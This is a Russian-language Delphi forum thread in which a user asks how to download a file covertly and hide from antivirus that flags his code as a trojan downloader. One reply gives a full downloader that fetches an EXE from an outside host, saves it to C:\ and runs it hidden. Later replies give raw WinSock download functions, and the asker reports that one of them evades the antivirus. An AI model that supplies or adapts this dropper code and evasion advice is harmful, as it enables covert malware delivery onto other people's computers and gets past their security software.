Delphi загрузка файла из интернета

[=Zeus=]

Возник такой вопрос. Нужно загрузить файл из интернета на компьютер. Вся фишка в том, чтобы сделать это скрытно. Но если использовать функцию UrlToDownloadFile из модуля Urlmon то этого сделать явно не получиться. Гуглил, есть много тем, где предлагают юзать InternetOpenURL InternetReadFile. Но все бы ничего. Я создаю проект, и подключаю только Windows и Wininet. Вызываю функцию - мой доктор веб кричит, что я написал DLOADER.Trojan. Если закомментировать InternetReadFile все снова будет нормально.
В общем вопрос - есть ли другие функции для загрузки файла. Или как мне скрыть себя от антивируса?

Вот, привожу мою функцию:
function GetFile(const URL, FileName: string): boolean;
const BuffSize = 4096;
var hSession, hURL: HInternet;
Buffer: array[1..BuffSize] of Byte;
BuffLen: DWORD;
NewFile: file;
sAppName: string;
begin
Result := False;
sAppName := ExtractFileName(ParamStr(0));
hSession := InternetOpen(PChar(sAppName), INTERNET_OPEN_TYPE_PRECONFIG, nil, nil, 0);
try
hURL := InternetOpenURL(hSession, PChar(URL), nil, 0, 0, 0);
try
AssignFile(NewFile, FileName);
Rewrite(NewFile, 1);
repeat
InternetReadFile(hURL, @Buffer, SizeOf(Buffer), BuffLen);
BlockWrite(NewFile, Buffer, BuffLen);
until
BuffLen = 0;
CloseFile(NewFile);
Result := True;
finally
InternetCloseHandle(hURL);
end;
finally
InternetCloseHandle(hSession);
Result := true;
end;
end;

[xafon]

вот сорец доунладера:
program Downloader;

uses
Windows,
SysUtils,
Classes,
WinInet;

type
TDownloadParams = record
FileURL,
Proxy,
ProxyBypass,
AuthUserName,
AuthPassword: String;
DownloadFrom,
NeedDataSize: DWORD;
end;

function ShellExecute(hWnd: LongWord; Operation, FileName, Parameters,
Directory: PChar; ShowCmd: Integer): HINST; stdcall; external 'shell32.dll' name 'ShellExecuteA';

function DownloadFileEx(
Params: TDownloadParams; OutputData: TStream): Boolean;

function DelHttp(URL: String): String;
var
HttpPos: Integer;
begin
HttpPos := Pos('http://', URL);
if HttpPos > 0 then Delete(Url, HttpPos, 7);
Result := Copy(Url, 1, Pos('/', Url) - 1);
if Result = '' then Result := URL;
end;

const
Accept = 'Accept: */*' + sLineBreak;
ProxyConnection = 'Proxy-Connection: Keep-Alive' + sLineBreak;
LNG = 'Accept-Language: ru' + sLineBreak;
AGENT =
'User-Agent: Mozilla/4.0 (compatible; MSIE 6.0; ' +
'Windows NT 5.1; SV1; .NET CLR 2.0.50727)' + sLineBreak;
var
FSession, FConnect, FRequest: HINTERNET;
FHost, FScript, SRequest, ARequest: String;
Buff, IntermediateBuffer: array of Byte;
BytesRead, Res, Len,
FilePosition, OpenTypeFlags, ContentLength: Cardinal;
begin
Result := False;
ARequest := Params.FileURL;


FHost := DelHttp(ARequest);
FScript := ARequest;
Delete(FScript, 1, Pos(FHost, FScript) + Length(FHost));

if Params.Proxy = '' then
OpenTypeFlags := INTERNET_OPEN_TYPE_PRECONFIG
else
OpenTypeFlags := INTERNET_OPEN_TYPE_PROXY;
FSession := InternetOpen('',
OpenTypeFlags, PChar(Params.Proxy), PChar(Params.ProxyBypass), 0);

if not Assigned(FSession) then Exit;
try

FConnect := InternetConnect(FSession, PChar(FHost),
INTERNET_DEFAULT_HTTP_PORT, PChar(Params.AuthUserName),
PChar(Params.AuthPassword), INTERNET_SERVICE_HTTP, 0, 0);

if not Assigned(FConnect) then Exit;
try

FRequest := HttpOpenRequest(FConnect, 'GET', PChar(FScript), nil,
'', nil, 0, 0);

HttpAddRequestHeaders(FRequest, Accept,
Length(Accept), HTTP_ADDREQ_FLAG_ADD);
HttpAddRequestHeaders(FRequest, ProxyConnection,
Length(ProxyConnection), HTTP_ADDREQ_FLAG_ADD);
HttpAddRequestHeaders(FRequest, LNG,
Length(LNG), HTTP_ADDREQ_FLAG_ADD);
HttpAddRequestHeaders(FRequest, AGENT,
Length(AGENT), HTTP_ADDREQ_FLAG_ADD);

Len := 0;
Res := 0;
SRequest := ' ';
HttpQueryInfo(FRequest, HTTP_QUERY_RAW_HEADERS_CRLF or
HTTP_QUERY_FLAG_REQUEST_HEADERS, @SRequest[1], Len, Res);
if Len > 0 then
begin
SetLength(SRequest, Len);
HttpQueryInfo(FRequest, HTTP_QUERY_RAW_HEADERS_CRLF or
HTTP_QUERY_FLAG_REQUEST_HEADERS, @SRequest[1], Len, Res);
end;

if not Assigned(FConnect) then Exit;
try

if not (HttpSendRequest(FRequest, nil, 0, nil, 0)) then Exit;

ContentLength := InternetSetFilePointer(
FRequest, 0, nil, FILE_END, 0);
if ContentLength = DWORD(-1) then
ContentLength := 0;

{
Len := 4;
ContentLength := 0;
HttpQueryInfo(FRequest, HTTP_QUERY_CONTENT_LENGTH or
HTTP_QUERY_FLAG_NUMBER, @ContentLength, Len, Res);
}


FilePosition := InternetSetFilePointer(
FRequest, Params.DownloadFrom, nil, FILE_BEGIN, 0);
if FilePosition = DWORD(-1) then
FilePosition := 0;

if Params.NeedDataSize = 0 then
Params.NeedDataSize := ContentLength;
if Integer(FilePosition) + Params.NeedDataSize >
Integer(ContentLength) then
Params.NeedDataSize := ContentLength - FilePosition;

if Params.NeedDataSize <= 0 then
begin
SetLength(IntermediateBuffer, 8192);
ContentLength := 0;
Params.NeedDataSize := 0;
BytesRead := 0;
while InternetReadFile(FRequest, @IntermediateBuffer[0],
1024, BytesRead) do
if BytesRead > 0 then
begin
SetLength(Buff, ContentLength + BytesRead);
Move(IntermediateBuffer[0], Buff[ContentLength], BytesRead);
Inc(ContentLength, BytesRead);
end
else
begin
Params.NeedDataSize := ContentLength;
Break;
end;
end
else
begin
SetLength(Buff, Params.NeedDataSize);
if not InternetReadFile(FRequest, @Buff[0],
Params.NeedDataSize, BytesRead) then Exit;
end;
OutputData.Write(Buff[0], Params.NeedDataSize);
Result := True;

finally
InternetCloseHandle(FRequest);
end;
finally
InternetCloseHandle(FConnect);
end;
finally
InternetCloseHandle(FSession);
end;
end;

var
Params: TDownloadParams;
Data: TMemoryStream;
begin
try
ZeroMemory(@Params, SizeOf(TDownloadParams));
Params.FileURL := 'http://www.freewebtown.com/pateame11/CALC.EXE';
Data := TMemoryStream.Create;
try
if DownloadFileEx(Params, Data) then
Data.SaveToFile('c:\testT.exe');
finally
Data.Free;
end;
except
on E:Exception do
Writeln(E.Classname, ': ', E.Message);
end;
SLEEP(500);
ShellExecute(0, 'open', 'C:\testT.exe', nil, nil, 0) ;
end.

p.s тоже палится аверами.

[=Zeus=]

Это точно такой же, только через ХТТП... А палится, потому что в нем есть InternetReadFile.

[xafon]

глянь еще один сорец (http://dump.ru/file/4244109), построен на библиотеках lomlib (есть в архиве).

[GlooK]

попробуй через WinSock:


const
mstimeout = 15000;
buffsize = 1024;
crlf = #13#10;

function fWSRecv(wHost, wRequest: string; wPort: word = 80): integer;
var
hSocket: TSocket;
wsData: TWSAData;
hHost: PHostEnt;
hAddr: TSockAddrIn;
hTimeout: TTimeVal;
iRead: integer;
hBuffer: array[0..buffsize] of char;
begin
WSAStartup($202, wsData);
hSocket := socket(AF_INET, SOCK_STREAM, IPPROTO_TCP);
hHost := gethostbyname(PChar(wHost));
hAddr.sin_family := AF_INET;
hAddr.sin_port := htons(wPort);
hAddr.sin_addr := pinaddr(hHost^.h_addr^)^;
hTimeout.tv_usec := 0;
hTimeout.tv_sec := mstimeout;
setsockopt(hSocket, SOL_SOCKET, SO_RCVTIMEO, @hTimeout, sizeof(ttimeval));
connect(hSocket, hAddr, SizeOf(hAddr));
hData := '';
Send(hSocket, wRequest[1], length(wRequest), 0);
AssignFile(NewFile, FileName);
Rewrite(NewFile, 1);
while (TRUE) do
begin
FillChar(hBuffer, SizeOf(hBuffer), 0);
iRead := Recv(hSocket, hBuffer, length(hBuffer), 0);
BlockWrite(NewFile, hBuffer, iRead);
if (iRead <= 0) then break;
end;
CloseFile(NewFile);
CloseSocket(hSocket);
WSACleanup;
result := 0;
end;

[=Zeus=]

GlooK, а как ее вызывать? wRequest это что?

[GlooK]

fWSRecv('ya.ru',
'GET /logo.png HTTP/1.1' + CRLF +
'Host: ya.ru' + CRLF +
'Connection: close' + CRLF + CRLF);
Только есть маленький нюанс - нужно убирать заголовки, которые возвратит запрос.

или вот пример:

function DownloadFile(host:string; port:word; script:string; outfile:string):integer;
var
header : string;
sock : dword;
ip : dword;
hst : PHostEnt;
addr : sockaddr_in;
data_flag : boolean;
len : integer;
h : dword;
rb : dword;
buf : array [0..4095] of char;

begin
data_flag := false;
result := 0;
header := 'GET '+script+' HTTP/1.0'#13#10+
'Host: '+ host + #13#10#13#10;

ip := inet_addr(pchar(host));
if ip = INADDR_NONE then
begin
hst := gethostbyname(pchar(host));
if hst = nil then exit else ip := pinaddr(hst^.h_addr^)^.S_addr;
end;

sock := socket(AF_INET, SOCK_STREAM, IPPROTO_TCP);
if sock = INVALID_SOCKET then exit;

addr.sin_family := AF_INET;
addr.sin_port := htons(port);
addr.sin_addr.S_addr := ip;

if connect(sock, @addr, sizeof(addr)) = 0 then
begin
send(sock, header[1], length(header), 0);
while (TRUE) do
begin
len := recv(sock, buf, 4096, 0);
if len > 0 then
begin
if data_flag then
begin
WriteFile(h, buf, len, rb, nil)
result := result + len;
end
else
begin
rb := pos(#13#10#13#10, string(buf));
if rb > 0 then
begin
rb := rb + 3;
h := CreateFile(pchar(outfile), GENERIC_WRITE, 0, nil, CREATE_ALWAYS, FILE_ATTRIBUTE_NORMAL, 0);
if h = INVALID_HANDLE_VALUE then break;
data_flag := true;
WriteFile(h, buf[rb], len - rb, rb, 0);
result := result + len - rb;
end;
end;
end else break;
end;
end;
if data_flag then CloseHandle(h);
closesocket(sock);
end;

procedure TForm1.Button1Click(Sender: TObject);
var
code : integer;
begin
code := DownloadFile('127.0.0.1', 80, '/f.jpg', 'C:\file.jpg');
if code > 0 then
begin
MessageBox(form1.Handle, 'OK', 'OK', MB_OK);
end
else
begin
MessageBox(form1.Handle, 'ERRROR', 'ERROR', MB_OK);
end;
end;

procedure TForm1.FormCreate(Sender: TObject);
var
ws : TWSAData;
begin
WSAStartup($202, ws);
end;

[=Zeus=]

Спасибо, буду пробовать. Похоже то, что нужно.
------------------------
Спасибо, функция из 5-го поста работает как надо, антивирус молчит. :)